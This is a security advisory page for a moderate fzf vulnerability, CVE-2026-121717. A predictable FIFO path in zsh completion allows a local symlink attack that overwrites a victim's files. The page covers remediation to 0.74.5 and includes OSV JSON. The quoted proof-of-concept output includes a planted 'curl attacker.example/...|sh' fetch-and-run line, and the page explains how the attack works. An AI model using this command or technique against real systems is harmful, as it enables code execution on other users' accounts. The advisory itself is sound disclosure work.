Vulnerabilities in pkg:golang/github.com/junegunn/fzf

PACKAGE
Advisory Identifier: GHSA-7rj6-7pqx-v7rm
Advisory Summary

CVE-2026-121717 is a MODERATE (CVSS 5.0) predictable fifo path vulnerability (CWE-377: Insecure Temporary File) affecting fzf libraries in the Go ecosystem. The issue involves predictable fifo path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo). Remediation is available by upgrading affected packages to version 0.74.5.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/junegunn/fzf

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/junegunn/fzf. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-7rj6-7pqx-v7rm CVE-2026-121717 MODERATE fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)
GHSA-w6x2-f5m4-xw82 CVE-2026-121716 HIGH fzf: Arbitrary command execution via bash arithmetic expansion on unvalidated layout size in fzf-tmux (-l/-u attached value)
GHSA-mvmf-94v6-879g CVE-2026-53433 MODERATE fzf vulnerable to denial of service through quadratic HTTP request-body accumulation

CVE-2026-121717 at a Glance

CVE Identifier CVE-2026-121717
GHSA Identifier GHSA-7rj6-7pqx-v7rm
Severity MODERATE
CVSS v3.1 Base Score 5.0
CWE Classification CWE-377: Insecure Temporary File
Affected Product fzf
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-121717

To remediate this vulnerability, upgrade all affected fzf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/junegunn/fzf fixed: 0.74.5
Upgrade github.com/junegunn/fzf to 0.74.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/junegunn/fzf

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-121717, inspect your project dependencies for fzf:

inspect dependencies for github.com/junegunn/fzf

Analyze the terminal output to locate any version of fzf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.74.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-377: Insecure Temporary File, where creating and using insecure temporary files can leave application and system data vulnerable to attack. In fzf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream. ### Reporter / Credits: Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/ ### Details `shell/completion.zsh` (tag 0.74.4, commit a140afeb): - line ~246: `fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$"` — predictable name; shell PIDs are low/guessable and a wide range can be pre-created. - lines 216-220, verbatim: ```zsh _fzf_feed_fifo() { command rm -f "$1" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored mkfifo "$1" # fails (EEXIST) — exit status unchecked cat <&0 > "$1" &| # follows the attacker symlink / blocks on the attacker FIFO } ``` Attack modes (no race required): 1. **File clobber → code execution:** `> "$1"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file. 2. **Information leak / hang:** a pre-created plain FIFO makes the victim's `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names). ### PoC Mechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `&|` → `&`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry): ```console rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists === victim file AFTER the victim's completion ran === evil-process; curl attacker.example/x.sh|sh; : other-stream-data ``` The file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh). ### Impact Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **<TAB>`) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`'s exit status, removing the rm-then-mkfifo TOCTOU entirely. Reported privately to the maintainer by email; fix prepared for the next release. ### Exploitability in practice On a default modern host the file-overwrite variant is blocked by `fs.protected_symlinks` (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.

CVE-2026-121717 Affected fzf Versions

1 component(s)
Fixed Versions:
0.74.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/junegunn/fzf
Go
< 0.74.5
0.74.5

References

Frequently Asked Questions

What is CVE-2026-121717?
CVE-2026-121717 is a security vulnerability in fzf involving Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo) under CWE-377: Insecure Temporary File.
Which fzf versions are affected?
Affected versions include releases prior to 0.74.5 across affected packages: github.com/junegunn/fzf.
What version fixes CVE-2026-121717?
Upgrading to 0.74.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/junegunn/fzf affected?
Yes, github.com/junegunn/fzf is affected in releases prior to 0.74.5. Upgrade your dependency to 0.74.5 or later.
What is the CVSS score of CVE-2026-121717?
CVE-2026-121717 has a CVSS v3.1 base score of 5.0 (MODERATE) with vector string CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-121717?
CVE-2026-121717 is classified under CWE-377: Insecure Temporary File (Creating and using insecure temporary files can leave application and system data vulnerable to attack.).
How can I check Go dependencies for CVE-2026-121717?
Run the dependency tree command: 'inspect dependencies for github.com/junegunn/fzf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rj6-7pqx-v7rm",
  "modified" : "2026-11-19T22:43:12Z",
  "published" : "2026-11-19T22:43:12Z",
  "aliases" : [ "CVE-2026-121717" ],
  "summary" : "fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)",
  "details" : "### Summary\n\n`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\n`shell/completion.zsh` (tag 0.74.4, commit a140afeb):\n\n- line ~246: `fifo=\"${TMPDIR:-/tmp}/fzf-complete-fifo-$$\"` — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.\n- lines 216-220, verbatim:\n\n```zsh\n_fzf_feed_fifo() {\n  command rm -f \"$1\"     # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored\n  mkfifo \"$1\"            # fails (EEXIST) — exit status unchecked\n  cat <&0 > \"$1\" &|      # follows the attacker symlink / blocks on the attacker FIFO\n}\n```\n\nAttack modes (no race required):\n\n1. **File clobber → code execution:** `> \"$1\"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.\n2. **Information leak / hang:** a pre-created plain FIFO makes the victim's `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).\n\n### PoC\n\nMechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `&|` → `&`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):\n\n```console\nrm: cannot remove '.../fzf-complete-fifo-4242': Permission denied\nmkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists\n\n=== victim file AFTER the victim's completion ran ===\nevil-process; curl attacker.example/x.sh|sh; :\nother-stream-data\n```\n\nThe file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).\n\n### Impact\n\nLocal (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **<TAB>`) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`'s exit status, removing the rm-then-mkfifo TOCTOU entirely.\n\nReported privately to the maintainer by email; fix prepared for the next release.\n\n### Exploitability in practice\n\nOn a default modern host the file-overwrite variant is blocked by `fs.protected_symlinks` (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the \"code execution at next login\" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/junegunn/fzf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.74.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.74.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-121717"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/junegunn/fzf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/junegunn/fzf/releases/tag/v0.74.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-377", "CWE-59" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-19T22:43:12Z",
    "nvd_published_at" : "2026-11-17T20:17:36Z"
  }
}